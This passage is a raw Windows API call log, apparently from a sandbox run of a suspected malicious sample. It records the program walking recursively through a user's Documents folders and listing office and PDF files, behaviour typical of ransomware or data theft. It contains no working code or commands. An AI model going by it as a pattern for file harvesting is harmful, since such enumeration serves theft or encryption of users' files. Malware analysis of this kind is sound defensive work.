ftLastWriteTime.dwLowDateTime=0x397c8f50, ftLastWriteTime.dwHighDateTime=0x1d99be9, nFileSizeHigh=0x0, nFileSizeLow=0x101de, dwReserved0=0x0, dwReserved1=0x0, cFileName="NP6cI4xKffTL4riqrli.rtf", cAlternateFileName="NP6CI4~1.RTF")) returned 1 [0221.512] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb422520, ftCreationTime.dwHighDateTime=0x1d991df, ftLastAccessTime.dwLowDateTime=0x71821e50, ftLastAccessTime.dwHighDateTime=0x1d9963b, ftLastWriteTime.dwLowDateTime=0x71821e50, ftLastWriteTime.dwHighDateTime=0x1d9963b, nFileSizeHigh=0x0, nFileSizeLow=0x155fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PqufyRW2N.ots", cAlternateFileName="PQUFYR~1.OTS")) returned 1 [0221.512] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9567e0, ftCreationTime.dwHighDateTime=0x1d99bc9, ftLastAccessTime.dwLowDateTime=0x7b059df0, ftLastAccessTime.dwHighDateTime=0x1d99c51, ftLastWriteTime.dwLowDateTime=0x7b059df0, ftLastWriteTime.dwHighDateTime=0x1d99c51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="s2g8-azJNisE", cAlternateFileName="S2G8-A~1")) returned 1 [0221.512] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.512] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0221.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0221.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0221.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0221.513] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0", lpFilePart=0x0) returned 0x34 [0221.513] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\tcijjb2\\lruwsurnerx0\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x354049f0, ftCreationTime.dwHighDateTime=0x1d9901c, ftLastAccessTime.dwLowDateTime=0xb3ebb680, ftLastAccessTime.dwHighDateTime=0x1d997e3, ftLastWriteTime.dwLowDateTime=0xb3ebb680, ftLastWriteTime.dwHighDateTime=0x1d997e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0221.513] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x354049f0, ftCreationTime.dwHighDateTime=0x1d9901c, ftLastAccessTime.dwLowDateTime=0xb3ebb680, ftLastAccessTime.dwHighDateTime=0x1d997e3, ftLastWriteTime.dwLowDateTime=0xb3ebb680, ftLastWriteTime.dwHighDateTime=0x1d997e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.513] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767fbc80, ftCreationTime.dwHighDateTime=0x1d99ca5, ftLastAccessTime.dwLowDateTime=0xf7a8ded0, ftLastAccessTime.dwHighDateTime=0x1d99d0f, ftLastWriteTime.dwLowDateTime=0xf7a8ded0, ftLastWriteTime.dwHighDateTime=0x1d99d0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ln27HP", cAlternateFileName="")) returned 1 [0221.514] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec92540, ftCreationTime.dwHighDateTime=0x1d98d00, ftLastAccessTime.dwLowDateTime=0x96f973e0, ftLastAccessTime.dwHighDateTime=0x1d9900f, ftLastWriteTime.dwLowDateTime=0x96f973e0, ftLastWriteTime.dwHighDateTime=0x1d9900f, nFileSizeHigh=0x0, nFileSizeLow=0x5590, dwReserved0=0x0, dwReserved1=0x0, cFileName="st_hBT-.pdf", cAlternateFileName="")) returned 1 [0221.514] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd910c050, ftCreationTime.dwHighDateTime=0x1d99099, ftLastAccessTime.dwLowDateTime=0x35ff9820, ftLastAccessTime.dwHighDateTime=0x1d992d6, ftLastWriteTime.dwLowDateTime=0x35ff9820, ftLastWriteTime.dwHighDateTime=0x1d992d6, nFileSizeHigh=0x0, nFileSizeLow=0xe97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="wp16JAbt owektq.ods", cAlternateFileName="WP16JA~1.ODS")) returned 1 [0221.514] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.514] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0221.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0221.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0221.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0221.514] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0", lpFilePart=0x0) returned 0x34 [0221.515] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\tcijjb2\\lruwsurnerx0\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x354049f0, ftCreationTime.dwHighDateTime=0x1d9901c, ftLastAccessTime.dwLowDateTime=0xb3ebb680, ftLastAccessTime.dwHighDateTime=0x1d997e3, ftLastWriteTime.dwLowDateTime=0xb3ebb680, ftLastWriteTime.dwHighDateTime=0x1d997e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.515] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x354049f0, ftCreationTime.dwHighDateTime=0x1d9901c, ftLastAccessTime.dwLowDateTime=0xb3ebb680, ftLastAccessTime.dwHighDateTime=0x1d997e3, ftLastWriteTime.dwLowDateTime=0xb3ebb680, ftLastWriteTime.dwHighDateTime=0x1d997e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.515] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767fbc80, ftCreationTime.dwHighDateTime=0x1d99ca5, ftLastAccessTime.dwLowDateTime=0xf7a8ded0, ftLastAccessTime.dwHighDateTime=0x1d99d0f, ftLastWriteTime.dwLowDateTime=0xf7a8ded0, ftLastWriteTime.dwHighDateTime=0x1d99d0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ln27HP", cAlternateFileName="")) returned 1 [0221.515] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec92540, ftCreationTime.dwHighDateTime=0x1d98d00, ftLastAccessTime.dwLowDateTime=0x96f973e0, ftLastAccessTime.dwHighDateTime=0x1d9900f, ftLastWriteTime.dwLowDateTime=0x96f973e0, ftLastWriteTime.dwHighDateTime=0x1d9900f, nFileSizeHigh=0x0, nFileSizeLow=0x5590, dwReserved0=0x0, dwReserved1=0x0, cFileName="st_hBT-.pdf", cAlternateFileName="")) returned 1 [0221.516] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd910c050, ftCreationTime.dwHighDateTime=0x1d99099, ftLastAccessTime.dwLowDateTime=0x35ff9820, ftLastAccessTime.dwHighDateTime=0x1d992d6, ftLastWriteTime.dwLowDateTime=0x35ff9820, ftLastWriteTime.dwHighDateTime=0x1d992d6, nFileSizeHigh=0x0, nFileSizeLow=0xe97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="wp16JAbt owektq.ods", cAlternateFileName="WP16JA~1.ODS")) returned 1 [0221.516] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd910c050, ftCreationTime.dwHighDateTime=0x1d99099, ftLastAccessTime.dwLowDateTime=0x35ff9820, ftLastAccessTime.dwHighDateTime=0x1d992d6, ftLastWriteTime.dwLowDateTime=0x35ff9820, ftLastWriteTime.dwHighDateTime=0x1d992d6, nFileSizeHigh=0x0, nFileSizeLow=0xe97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="wp16JAbt owektq.ods", cAlternateFileName="WP16JA~1.ODS")) returned 0 [0221.516] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0221.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0221.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0221.516] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0\\ln27HP", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0\\ln27HP", lpFilePart=0x0) returned 0x3b [0221.517] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0\\ln27HP\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\tcijjb2\\lruwsurnerx0\\ln27hp\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767fbc80, ftCreationTime.dwHighDateTime=0x1d99ca5, ftLastAccessTime.dwLowDateTime=0xf7a8ded0, ftLastAccessTime.dwHighDateTime=0x1d99d0f, ftLastWriteTime.dwLowDateTime=0xf7a8ded0, ftLastWriteTime.dwHighDateTime=0x1d99d0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b30 [0221.517] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767fbc80, ftCreationTime.dwHighDateTime=0x1d99ca5, ftLastAccessTime.dwLowDateTime=0xf7a8ded0, ftLastAccessTime.dwHighDateTime=0x1d99d0f, ftLastWriteTime.dwLowDateTime=0xf7a8ded0, ftLastWriteTime.dwHighDateTime=0x1d99d0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.517] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf733340, ftCreationTime.dwHighDateTime=0x1d997f5, ftLastAccessTime.dwLowDateTime=0x3c23c4c0, ftLastAccessTime.dwHighDateTime=0x1d99adc, ftLastWriteTime.dwLowDateTime=0x3c23c4c0, ftLastWriteTime.dwHighDateTime=0x1d99adc, nFileSizeHigh=0x0, nFileSizeLow=0x1a7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="3Uz6i6ZA_edV2.odp", cAlternateFileName="3UZ6I6~1.ODP")) returned 1 [0221.518] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf35a9b00, ftCreationTime.dwHighDateTime=0x1d99938, ftLastAccessTime.dwLowDateTime=0xc7bc3620, ftLastAccessTime.dwHighDateTime=0x1d99ae1, ftLastWriteTime.dwLowDateTime=0xc7bc3620, ftLastWriteTime.dwHighDateTime=0x1d99ae1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6JrO5DdCBmUI", cAlternateFileName="6JRO5D~1")) returned 1 [0221.518] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfba6e0, ftCreationTime.dwHighDateTime=0x1d98f91, ftLastAccessTime.dwLowDateTime=0x66397940, ftLastAccessTime.dwHighDateTime=0x1d994be, ftLastWriteTime.dwLowDateTime=0x66397940, ftLastWriteTime.dwHighDateTime=0x1d994be, nFileSizeHigh=0x0, nFileSizeLow=0x1382c, dwReserved0=0x0, dwReserved1=0x0, cFileName="j7CkCPRPVo48wGGK.docx", cAlternateFileName="J7CKCP~1.DOC")) returned 1 [0221.518] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f90390, ftCreationTime.dwHighDateTime=0x1d99662, ftLastAccessTime.dwLowDateTime=0xf4b854c0, ftLastAccessTime.dwHighDateTime=0x1d99a81, ftLastWriteTime.dwLowDateTime=0xf4b854c0, ftLastWriteTime.dwHighDateTime=0x1d99a81, nFileSizeHigh=0x0, nFileSizeLow=0xfce3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTAY3 gXeqso69RzkAiK.pdf", cAlternateFileName="OTAY3G~1.PDF")) returned 1 [0221.518] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x291883c0, ftCreationTime.dwHighDateTime=0x1d995d7, ftLastAccessTime.dwLowDateTime=0x98b87550, ftLastAccessTime.dwHighDateTime=0x1d9994c, ftLastWriteTime.dwLowDateTime=0x98b87550, ftLastWriteTime.dwHighDateTime=0x1d9994c, nFileSizeHigh=0x0, nFileSizeLow=0x51f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="psWThQeX9w8Z 8Q2_Hi.doc", cAlternateFileName="PSWTHQ~1.DOC")) returned 1 [0221.518] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd69be9a0, ftCreationTime.dwHighDateTime=0x1d98d81, ftLastAccessTime.dwLowDateTime=0x17260640, ftLastAccessTime.dwHighDateTime=0x1d99958, ftLastWriteTime.dwLowDateTime=0x17260640, ftLastWriteTime.dwHighDateTime=0x1d99958, nFileSizeHigh=0x0, nFileSizeLow=0x98dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q_o-X5zRH6 rJWI_9asV.csv", cAlternateFileName="Q_O-X5~1.CSV")) returned 1 [0221.519] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.519] FindClose (in: hFindFile=0x1d1f5b30 | out: hFindFile=0x1d1f5b30) returned 1 [0221.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0221.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0221.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0221.519] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0\\ln27HP", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0\\ln27HP", lpFilePart=0x0) returned 0x3b [0221.519] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0\\ln27HP\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\tcijjb2\\lruwsurnerx0\\ln27hp\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767fbc80, ftCreationTime.dwHighDateTime=0x1d99ca5, ftLastAccessTime.dwLowDateTime=0xf7a8ded0, ftLastAccessTime.dwHighDateTime=0x1d99d0f, ftLastWriteTime.dwLowDateTime=0xf7a8ded0, ftLastWriteTime.dwHighDateTime=0x1d99d0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.520] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767fbc80, ftCreationTime.dwHighDateTime=0x1d99ca5, ftLastAccessTime.dwLowDateTime=0xf7a8ded0, ftLastAccessTime.dwHighDateTime=0x1d99d0f, ftLastWriteTime.dwLowDateTime=0xf7a8ded0, ftLastWriteTime.dwHighDateTime=0x1d99d0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.520] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf733340, ftCreationTime.dwHighDateTime=0x1d997f5, ftLastAccessTime.dwLowDateTime=0x3c23c4c0, ftLastAccessTime.dwHighDateTime=0x1d99adc, ftLastWriteTime.dwLowDateTime=0x3c23c4c0, ftLastWriteTime.dwHighDateTime=0x1d99adc, nFileSizeHigh=0x0, nFileSizeLow=0x1a7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="3Uz6i6ZA_edV2.odp", cAlternateFileName="3UZ6I6~1.ODP")) returned 1 [0221.520] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf35a9b00, ftCreationTime.dwHighDateTime=0x1d99938, ftLastAccessTime.dwLowDateTime=0xc7bc3620, ftLastAccessTime.dwHighDateTime=0x1d99ae1, ftLastWriteTime.dwLowDateTime=0xc7bc3620, ftLastWriteTime.dwHighDateTime=0x1d99ae1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6JrO5DdCBmUI", cAlternateFileName="6JRO5D~1")) returned 1 [0221.520] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfba6e0, ftCreationTime.dwHighDateTime=0x1d98f91, ftLastAccessTime.dwLowDateTime=0x66397940, ftLastAccessTime.dwHighDateTime=0x1d994be, ftLastWriteTime.dwLowDateTime=0x66397940, ftLastWriteTime.dwHighDateTime=0x1d994be, nFileSizeHigh=0x0, nFileSizeLow=0x1382c, dwReserved0=0x0, dwReserved1=0x0, cFileName="j7CkCPRPVo48wGGK.docx", cAlternateFileName="J7CKCP~1.DOC")) returned 1 [0221.520] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f90390, ftCreationTime.dwHighDateTime=0x1d99662, ftLastAccessTime.dwLowDateTime=0xf4b854c0, ftLastAccessTime.dwHighDateTime=0x1d99a81, ftLastWriteTime.dwLowDateTime=0xf4b854c0, ftLastWriteTime.dwHighDateTime=0x1d99a81, nFileSizeHigh=0x0, nFileSizeLow=0xfce3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTAY3 gXeqso69RzkAiK.pdf", cAlternateFileName="OTAY3G~1.PDF")) returned 1 [0221.521] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x291883c0, ftCreationTime.dwHighDateTime=0x1d995d7, ftLastAccessTime.dwLowDateTime=0x98b87550, ftLastAccessTime.dwHighDateTime=0x1d9994c, ftLastWriteTime.dwLowDateTime=0x98b87550, ftLastWriteTime.dwHighDateTime=0x1d9994c, nFileSizeHigh=0x0, nFileSizeLow=0x51f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="psWThQeX9w8Z 8Q2_Hi.doc", cAlternateFileName="PSWTHQ~1.DOC")) returned 1 [0221.521] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd69be9a0, ftCreationTime.dwHighDateTime=0x1d98d81, ftLastAccessTime.dwLowDateTime=0x17260640, ftLastAccessTime.dwHighDateTime=0x1d99958, ftLastWriteTime.dwLowDateTime=0x17260640, ftLastWriteTime.dwHighDateTime=0x1d99958, nFileSizeHigh=0x0, nFileSizeLow=0x98dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q_o-X5zRH6 rJWI_9asV.csv", cAlternateFileName="Q_O-X5~1.CSV")) returned 1 [0221.521] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd69be9a0, ftCreationTime.dwHighDateTime=0x1d98d81, ftLastAccessTime.dwLowDateTime=0x17260640, ftLastAccessTime.dwHighDateTime=0x1d99958, ftLastWriteTime.dwLowDateTime=0x17260640, ftLastWriteTime.dwHighDateTime=0x1d99958, nFileSizeHigh=0x0, nFileSizeLow=0x98dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q_o-X5zRH6 rJWI_9asV.csv", cAlternateFileName="Q_O-X5~1.CSV")) returned 0 [0221.521] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0221.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0221.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0221.522] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0\\ln27HP\\6JrO5DdCBmUI", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0\\ln27HP\\6JrO5DdCBmUI", lpFilePart=0x0) returned 0x48 [0221.522] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0\\ln27HP\\6JrO5DdCBmUI\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\tcijjb2\\lruwsurnerx0\\ln27hp\\6jro5ddcbmui\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf35a9b00, ftCreationTime.dwHighDateTime=0x1d99938, ftLastAccessTime.dwLowDateTime=0xc7bc3620, ftLastAccessTime.dwHighDateTime=0x1d99ae1, ftLastWriteTime.dwLowDateTime=0xc7bc3620, ftLastWriteTime.dwHighDateTime=0x1d99ae1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0221.522] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf35a9b00, ftCreationTime.dwHighDateTime=0x1d99938, ftLastAccessTime.dwLowDateTime=0xc7bc3620, ftLastAccessTime.dwHighDateTime=0x1d99ae1, ftLastWriteTime.dwLowDateTime=0xc7bc3620, ftLastWriteTime.dwHighDateTime=0x1d99ae1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.523] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b0140d0, ftCreationTime.dwHighDateTime=0x1d99563, ftLastAccessTime.dwLowDateTime=0x9b44e360, ftLastAccessTime.dwHighDateTime=0x1d99bfb, ftLastWriteTime.dwLowDateTime=0x9b44e360, ftLastWriteTime.dwHighDateTime=0x1d99bfb, nFileSizeHigh=0x0, nFileSizeLow=0x10a99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Egk-m.pptx", cAlternateFileName="EGK-M~1.PPT")) returned 1 [0221.523] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4ad740, ftCreationTime.dwHighDateTime=0x1d98f2c, ftLastAccessTime.dwLowDateTime=0x94b50c70, ftLastAccessTime.dwHighDateTime=0x1d99a73, ftLastWriteTime.dwLowDateTime=0x94b50c70, ftLastWriteTime.dwHighDateTime=0x1d99a73, nFileSizeHigh=0x0, nFileSizeLow=0xd119, dwReserved0=0x0, dwReserved1=0x0, cFileName="Na5lJ0umQDqs_857KA8J.odt", cAlternateFileName="NA5LJ0~1.ODT")) returned 1 [0221.523] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, 